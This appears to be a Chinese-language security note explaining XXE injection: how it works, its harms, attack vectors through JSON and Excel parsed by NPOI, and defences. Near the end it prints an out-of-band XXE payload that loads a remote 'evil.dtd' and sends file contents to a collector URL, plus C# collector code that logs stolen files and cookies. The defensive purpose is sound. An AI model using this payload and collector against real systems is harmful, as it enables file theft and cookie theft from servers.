XXE漏洞概述
XXE(XML External Entity Injection) 漏洞發生在應用程序解析 XML 解析時,沒有禁止外部實體的執行的權限,利用支持的協議進行內網探測和入侵(不用的語言支持的協議不一致),
參考https://security.tencent.com/index.php/blog/msg/69
n 攻擊過程和原理
1. 定義DTD文件,DTD用來定義XML的語義,用來說明XML個節點的數據含義。
2. 黑客建立網站編寫DTD文件,編寫執行的實體代碼。
3. 修改XML進行注入,加入實體內容,同時引入DTD文件。
4. 讓含有XML的文件執行(XML或Excel),使得XML在加載解析時執行。
(Excel可以被工具轉換為XML(修改的xlsx文件里的一個xml文件,修改完后其實這個文件已經是一個不符合excel能夠打開的正常格式文件里,直接上傳修改過后的xlsx文件就好了,excel不能打開 但是對於NPOI來說 他還是可以解析的
n 危害(https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
1. 讀取任意文件。
2. 執行系統命令(暫時查到的是php的擴展腳本可以被執行)。
3. 探測內網端口(利用http協議往外發送內容,檢查是否成功)
4. 攻擊內網(通過webshell的方式將攻擊內容通過xml提交,xml在服務器上有權限訪問內網系統,進行攻擊);
5. 拒絕服務(在實體中定義相互引用的變量,導致服務器一直處於處於計算狀態)
n 攻防
1.JSON攻擊
假設后台同時能接受客戶端提交的Json和xml,可能會存在漏洞
防護
將提交的JSON轉化為XML進行提交,如果能接受XML的話,可能存在XXE漏洞;如果存在需要定義嚴格的數據接受內容,在頁面提交數據時減少用xml的格式。
2.EXCEL攻擊
防護
a) NPOI:使用版本>=2.2.1。
b) 不適用NPIO解析Excel時對XML解析進行權限控制,需要對Excel結構進行驗證。
3.XML攻擊
只要能成功執行XML中的實體,就會達到攻擊目標。
防護
a) 在默認情況下關閉內聯 DTD 解析(INLINE DTD PARSING)、外部實體、實體,使用白名單來控制允許實用的協議。
b) 檢查XML內容中是否包含外部實體<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
c) 各語言修改方法
執行XML解析時出發實體執行
// 被注入的XML string xml = "<?xml version=\"1.0\" ?>"; xml = xml + "<!DOCTYPE doc[<!ENTITY % remote SYSTEM \"http://localhost:20234/evil.dtd\"> %remote;%all;]>"; xml = xml + "<doc>&send;</doc>";
常見DTD
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:20234/Default.aspx?file=%file;'>">
將攻擊獲取的文件保存起來
if (Request.Params["file"] != null) { Log.Info("從目標機器上攻擊獲取到的文件內容是file:" + Request.Params["file"]); } if (Request.Params["ckid"] != null) { Log.Info("獲取到的Cookie:" + Request.Params["ckid"]); }
各語言檢查和修改方法